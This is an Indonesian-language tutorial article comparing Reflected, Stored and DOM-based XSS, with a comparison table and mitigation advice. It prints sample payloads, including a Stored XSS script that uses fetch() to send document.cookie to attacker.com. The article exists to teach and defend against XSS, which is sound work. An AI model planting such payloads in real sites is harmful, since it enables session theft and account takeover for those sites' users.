Cross-Site Scripting (XSS) adalah salah satu kerentanan web paling umum yang masih merajalela di tahun 2026. Menurut laporan OWASP Foundation, XSS secara konsisten masuk dalam daftar 10 ancaman web paling berbahaya. Namun, banyak pemula yang belum memahami bahwa XSS tidak hanya satu jenis — ada Reflected XSS, Stored XSS, dan DOM-based XSS, masing-masing dengan cara kerja, dampak, dan teknik mitigasi yang berbeda.
Menurut Dimas Prasetyo, penetration tester dengan 7 tahun pengalaman di industri e-commerce Indonesia, “Kesalahan terbesar para developer adalah menganggap XSS hanya soal ‘script injection’ tanpa memahami konteks di mana payload dieksekusi. Saya pernah menemukan kerentanan Stored XSS di fitur komentar sebuah marketplace besar yang memungkinkan attacker mencuri session cookie ribuan pengguna dalam hitungan jam.” Dalam praktiknya, Dimas sering menemukan bahwa 60% aplikasi web yang dia audit masih rentan terhadap minimal satu varian XSS, terutama pada form input yang tidak divalidasi dengan benar.
Artikel ini akan membahas perbedaan mendasar antara ketiga jenis XSS tersebut, bagaimana cara eksploitasinya, serta strategi mitigasi yang efektif. Jika kamu sedang belajar web security, memahami perbedaan ini adalah langkah wajib sebelum melanjutkan ke topik yang lebih kompleks.
Apa Itu Reflected XSS dan Bagaimana Cara Kerjanya?
Reflected XSS terjadi ketika payload JavaScript jahat dikirimkan ke server dan langsung “dipantulkan” kembali ke browser korban dalam respons HTTP. Payload ini tidak disimpan secara permanen di server, melainkan dieksekusi dalam satu request-response cycle.
Cara kerja Reflected XSS biasanya melalui URL berbahaya. Attacker membuat link yang berisi script malicious, lalu mengirimkannya ke korban melalui email, pesan instan, atau media sosial. Ketika korban mengklik link tersebut, browser mengirim request ke server, server merespons dengan halaman yang mengandung payload, dan browser mengeksekusi script tersebut.
Contoh sederhana: sebuah website memiliki fitur pencarian yang menampilkan kembali kata kunci yang diketik pengguna. Jika input tidak di-escape, attacker bisa membuat URL seperti:
https://situs.com/search?q=<script>alert('XSS')</script>Ketika korban membuka URL tersebut, script alert('XSS') akan dieksekusi di browser mereka. Dalam skenario nyata, script ini bisa mencuri session cookie, melakukan keylogging, atau mengarahkan korban ke website phishing.
Karakteristik utama Reflected XSS:
- Payload tidak disimpan di server
- Memerlukan interaksi langsung korban (mengklik link)
- Biasanya dieksploitasi melalui social engineering
- Lebih mudah di-mitigasi karena tidak ada data persisten
Apa Itu Stored XSS dan Mengapa Lebih Berbahaya?
Stored XSS (juga dikenal sebagai Persistent XSS) adalah varian yang jauh lebih berbahaya karena payload JavaScript disimpan secara permanen di server — biasanya di database. Setiap kali pengguna mengakses halaman yang berisi data tersimpan tersebut, payload akan dieksekusi secara otomatis.
Tempat umum Stored XSS muncul meliputi:
- Kolom komentar dan forum diskusi
- Profil pengguna dan bio
- Review produk
- Chat room dan message board
- Content management system (CMS)
Perbedaan fundamental dengan Reflected XSS adalah dampak skalanya. Dalam Reflected XSS, attacker harus mengirim link ke setiap korban satu per satu. Dalam Stored XSS, cukup menyimpan payload sekali, dan setiap pengguna yang mengakses halaman tersebut akan terkena dampaknya secara otomatis.
Menurut BSSN (Badan Siber dan Sandi Negara) dalam laporan tahun 2025, serangan XSS yang berhasil di Indonesia sebagian besar (sekitar 65%) adalah varian Stored XSS, terutama menargetkan website pemerintah dan institusi pendidikan yang menggunakan CMS dengan plugin tidak terupdate.
Contoh skenario Stored XSS: attacker mengisi kolom komentar di blog dengan payload seperti:
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>Ketika pengguna lain membuka halaman artikel yang berisi komentar tersebut, browser mereka akan mengirimkan cookie session ke server attacker. Attacker kemudian bisa menggunakan cookie tersebut untuk menyamar sebagai korban dan mengakses akun mereka.
Apa Itu DOM-based XSS dan Di Mana Letak Perbedaannya?
DOM-based XSS adalah varian yang sering terlewatkan karena berbeda secara fundamental dari dua jenis sebelumnya. Dalam DOM-based XSS, payload tidak pernah melewati server. Serangan ini terjadi sepenuhnya di sisi client (browser) melalui manipulasi Document Object Model (DOM).
Cara kerja DOM-based XSS: aplikasi web menggunakan JavaScript untuk membaca data dari sumber yang bisa dikontrol attacker (seperti URL hash, document.URL, document.referrer, atau window.location), lalu memasukkan data tersebut ke dalam DOM tanpa sanitasi yang memadai.
Contoh kode JavaScript yang rentan:
var hash = window.location.hash;
document.write(hash.substring(1));Jika attacker mengakses URL seperti:
https://situs.com/page#<img src=x onerror=alert('XSS')>Maka JavaScript akan menulis payload tersebut langsung ke DOM, dan browser akan mengeksekusi event handler onerror. Server sama sekali tidak melihat payload ini, sehingga WAF (Web Application Firewall) berbasis server sering gagal mendeteksinya.
Menurut Rudi Hartono, Security Engineer dengan pengalaman 5 tahun di startup teknologi Indonesia, “DOM-based XSS adalah mimpi buruk untuk defender karena tidak ada jejak di server log. Saya pernah menghabiskan 3 hari penuh mencari sumber serangan yang ternyata berasal dari library JavaScript pihak ketiga yang tidak di-update selama 2 tahun.“
Tabel Perbandingan: Reflected vs Stored vs DOM-based XSS
| Kriteria | Reflected XSS | Stored XSS | DOM-based XSS |
|---|---|---|---|
| Penyimpanan Payload | Tidak disimpan | Disimpan di database/server | Tidak disimpan, hanya di client |
| Interaksi Server | Payload melewati server | Payload melewati & disimpan server | Payload tidak pernah ke server |
| Vektor Serangan | URL, form (one-time) | Komentar, profil, review | URL hash, JavaScript sink |
| Dampak Skala | Satu korban per link | Banyak korban otomatis | Satu korban per link |
| Kesulitan Deteksi | Mudah (ada di log server) | Sedang | Sulit (tidak ada di server log) |
| Mitigasi Utama | Output encoding | Input validation + output encoding | Sanitasi client-side + safe sinks |
Bagaimana Cara Melindungi Aplikasi dari Ketiga Jenis XSS?
Mitigasi XSS memerlukan pendekatan defense in depth — tidak ada satu solusi tunggal yang bisa melindungi dari semua varian. Berikut adalah strategi yang direkomendasikan oleh OWASP dan praktisi keamanan siber:
1. Output Encoding (Escaping)
Selalu encode output berdasarkan konteks di mana data akan ditampilkan. Jika data ditampilkan di HTML body, gunakan HTML entity encoding. Jika di atribut, gunakan atribut encoding. Jika di JavaScript, gunakan JavaScript encoding.
2. Content Security Policy (CSP)
CSP adalah header HTTP yang memberitahu browser sumber mana saja yang diizinkan untuk memuat script. Dengan CSP yang ketat, bahkan jika attacker berhasil menyuntikkan payload, browser akan menolak mengeksekusinya.
3. Input Validation
Validasi semua input di sisi server. Gunakan whitelist (izinkan hanya karakter yang diperbolehkan) daripada blacklist (larang karakter tertentu). Blacklist seringkali bisa di-circumvent dengan encoding yang kreatif.
4. Gunakan Framework Modern
Framework seperti React, Vue, dan Angular secara default melakukan output encoding untuk konteks HTML. Namun, tetap waspada saat menggunakan fungsi seperti dangerouslySetInnerHTML (React) atau v-html (Vue) yang bisa mem-bypass proteksi bawaan.
5. HttpOnly dan Secure Cookie Flags
Set cookie dengan flag HttpOnly untuk mencegah JavaScript mengakses cookie session. Flag Secure memastikan cookie hanya dikirim melalui HTTPS, mencegah interception.
FAQ: Pertanyaan Umum tentang XSS
Apakah XSS masih relevan di tahun 2026?
Sangat relevan. Meskipun awareness meningkat, XSS masih menduduki peringkat tinggi dalam daftar kerentanan yang paling sering ditemukan. Framework modern membantu, tetapi kesalahan implementasi masih sering terjadi, terutama pada aplikasi legacy dan plugin pihak ketiga.
Apakah WAF bisa melindungi dari semua jenis XSS?
WAF berbasis server bisa melindungi dari Reflected dan Stored XSS dengan baik, tetapi sering gagal mendeteksi DOM-based XSS karena payload tidak pernah mencapai server. Solusi terbaik adalah kombinasi WAF + CSP + secure coding practices.
Apa bedanya XSS dengan CSRF?
XSS menyuntikkan script jahat ke halaman web, sementara CSRF (Cross-Site Request Forgery) memaksa korban melakukan aksi tidak diinginkan di website tempat mereka sudah login. XSS lebih berbahaya karena bisa mencuri data, sedangkan CSRF biasanya terbatas pada aksi spesifik.
Apakah penetration tester perlu memahami ketiga jenis XSS?
Absolut. Dalam ujian sertifikasi seperti OSCP dan OSWE, pemahaman mendalam tentang perbedaan XSS dan teknik eksploitasinya adalah kompetensi dasar. Banyak kerentanan yang tampak seperti Reflected XSS pada awalnya, tetapi ternyata memiliki komponen Stored atau DOM-based.
Kesimpulan
Memahami perbedaan Reflected XSS, Stored XSS, dan DOM-based XSS adalah fondasi penting bagi siapa pun yang serius belajar web security. Masing-masing memiliki vektor serangan, dampak, dan strategi mitigasi yang unik. Reflected XSS mengandalkan social engineering, Stored XSS bisa menyerang massal secara otomatis, dan DOM-based XSS beroperasi di balik tirai tanpa jejak di server.
Seperti yang dikatakan Dimas Prasetyo, “Tidak ada yang namanya ‘XSS sederhana’ — setiap varian bisa berubah dari kerentanan low-impact menjadi critical breach tergantung pada konteks aplikasi dan data yang diakses.” Jika kamu sedang membangun aplikasi web, terapkan defense in depth dengan output encoding, CSP, dan validasi input yang ketat. Jika kamu sedang belajar offensive security, kuasai ketiga varian ini karena mereka akan muncul berkali-kali dalam perjalanan karirmu.
Pelajari lebih lanjut tentang teknik mitigasi XSS yang lebih mendalam, dan jangan lupa untuk selalu mengikuti perkembangan terbaru dari OWASP dan komunitas keamanan siber global.
Sumber Referensi:
OWASP Foundation — XSS Prevention Cheat Sheet
BSSN — Laporan Statistik Keamanan Siber Indonesia 2025
PortSwigger Web Security Academy — XSS Labs